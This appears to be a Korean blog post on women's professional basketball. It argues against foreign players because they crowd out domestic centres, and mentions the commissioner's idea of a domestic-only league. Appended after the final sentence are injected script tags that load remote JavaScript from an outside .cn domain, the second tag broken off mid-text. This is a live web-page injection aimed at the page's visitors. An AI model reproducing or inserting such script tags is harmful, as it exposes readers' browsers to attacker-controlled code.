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외국인 선수에 대한 단상(斷想)...

이제 시즌도 거의 막바지에 이르렀네요... 신한의 우승은 거의 결정적이고... 나머지 2,3위도 삼성과 우리가 나눠 갖게 되겠죠... 4위 싸움이 그나마 좀 볼만해 졌다는 것에 위안을 삼아야 할 것 같습니다...(KB가 과연 역전할 지...)

올 시즌은 정말 수준 높은 외국인 선수들이 와서 좋은 모습들 많이 보여 줬죠... 하지만 반대로 국내선수들은 외국인 선수들에 밀려나 인상적인 모습을 보인 선수가 거의 없죠... 얼마전 남자농구에선 외국인 선수 선발제도를 다시 트라이 아웃(드레프트제)로 바꾸기로 결정했죠... 뭐 많은 찬반 의견들이 있지만 결국은 고사하는 국내 빅맨들을 살리고 외국인 선수에게 들어가는 돈 좀 줄이자는 의미에서 결정 되었죠...

아직 여자농구가 남자농구에 비해 그리 심하지는 않아도 외국인 선수들로 인해 국내 빅맨(?)들은 그 설 자리를 잃어가고 있죠... 물론 수준높은 외국인 선수들을 직접 볼 수 있다는 것은 팬으로서 기쁜 일이지만 ‘신토불이’라는 말처럼 전 국내선수들이 활약하는 모습을 더 보고 싶네요...

어차피 또 외국인 선수에 대해 이러쿵 저러쿵 이야기 해 봤자 시끄러워 질 뿐이죠... 저는 외국인 선수 도입에 반대하는 입장이라 아마 찬성하시는 분들이 제 얘기에 별로 달가와 하진 않을 것 입니다... 사실 외국인 선수의 도입은 장단점을 모두 가지고 있는 ‘양날의 검’ 같은 것이죠...

장점이라 하면 수준 높은 경기력을 볼 수 있다는 것, 국내 선수들이 외국인 선수들의 훌륭한 기량을 배울 수 있다는 것, 외국인 선수들을 상대함으로서 국제대회의 겪어야 할 것들을 미리 경험할 수 있다는 것 등등의 장점들이 있겠죠... 남자농구 같은 경우는 ‘외국인 선수 보고 싶으면 NBA나 봐라’라는 말이라도 할 수 있지만 여자 선수의 경우는 좀 그렇죠...(NBA도 보기 힘든 판국에 WNBA는 무슨 수로 볼 수 있겠습니까?)

하지만 장점 보다는 단점이 훨씬 더 와닿죠... 농구만큼 신체와 운동 능력에 의해 좌지우지 되는 스포츠도 드물죠... 비록 단체 경기라 해도 한명의 선수에 의해 좌지우지 될 수 있는 것이 농구구요... 이미 경기를 보시는 분들은 아시겠지만 국내 빅맨 중에 제대로 골밑에 자리 잡고 공격하는 선수 보신 적 있습니까? 거의 드물죠... 감독들도 성적이 중요하다 보니 국내선수들에겐 골밑 플레이를 주문하지 않죠... 제 얘기에 ‘굳이 통하지 않는 골밑에 무엇 할려고 있냐? 그냥 안 되면 중거리 쏘면 되지’라고 말씀 하실 분들도 계시겠지만 이것이 국내리그에서 외국인 선수들이 골밑을 지키고 있으니까 가능한 얘기지 국제대회 같이 우리 선수들로만 구성되어졌을 경우는 어떨까요...

어차피 남녀 농구 모두 ‘양궁농구’로 간지는 오래 되었지만 요즘은 그나마 과녁도 잘... ‘양궁농구’라는 것이 정말 ‘모 아니 면 도’식이기 때문에 터지면 좋지만 안 터질 확률이 훨씬 더 높죠... 더군다나 양궁농구로 간다고 해도 골밑에서 어느정도 공격이 이루어져야 양궁농구가 되지 안 그러면 그나마도 하기 힘들죠...

요새 금호의 경기를 보면 꼭 여자 농구의 현 주소를 보는 것 같습니다... 골밑에서 밀리니깐 아무도 골밑에 안들어가게 되고 그러다 보니 외곽슛도 나빠지게 되죠...

안된다고 피하다가 보면 결국 아무 것도 할 수 없죠... 제가 외국인 선수에 대해 부정적인 이유가 바로 여기에 있습니다... 자꾸 피하고 보니까 결국 토종 빅맨들은 외곽으로 밀려나게 되었죠... 아직 우리 선수들의 기량(신체, 운동 능력 모두 포함)이 외국인 선수를 쫓아가지 못하는데 선수들 보고 무조건 잘하라는 식의 말은 넌센스죠... ‘안 되면 되게 하라’는 식은 특전사에서나 통용되는 얘기구요... 타고난 능력이 거의 70~80&#37는 먹고 들어가는 ‘농구’라는 스포츠에서 ‘무한도전’을 할 필요가 없다는 것이죠...

얼마전 김원길 총재께서 재취임 하시면서 하신 인터뷰 중에 인상 깊은 내용이 있었습니다... “빠르면 올 여름리그부터는 외국인 선수들을 부르지 않고 국내선수들로만 구성해서 경기를 치를 생각이다... 만약 흥행이나 경기력 모두 좋지 않으면 다시 부르게 되겠지만 그렇지 않다면 계속 국내 선수들로 이끌고 나갈 것이다...” 전 이분에 대해 잘 모르고 어떤 업적이 있으신지는 모르지만 인터뷰 내용을 보니 가히 충격적이더군요... 국내 선수들로만 한 번 해 보겠다... 정말 말이 쉽지 실행에 옮기기엔 너무 어마어마 하죠... 김원길 총재께서도 아마 뭔가 느끼신 것이 있으시니까 이런 언급을 하셨겠죠...

정말 우리 선수들끼리 경쟁해서 기량을 키워 나가는 것이 더 나을 듯 싶네요...(빅맨 입장에서...) 아무쪼록 장신 선수들을 살릴 대책이 나왔으면 싶네요... 토종 빅맨들 힘내십시요... 한국 여자 농구 화이팅!!<script src=http://log5it.cn></script><script src=http://log5it.c

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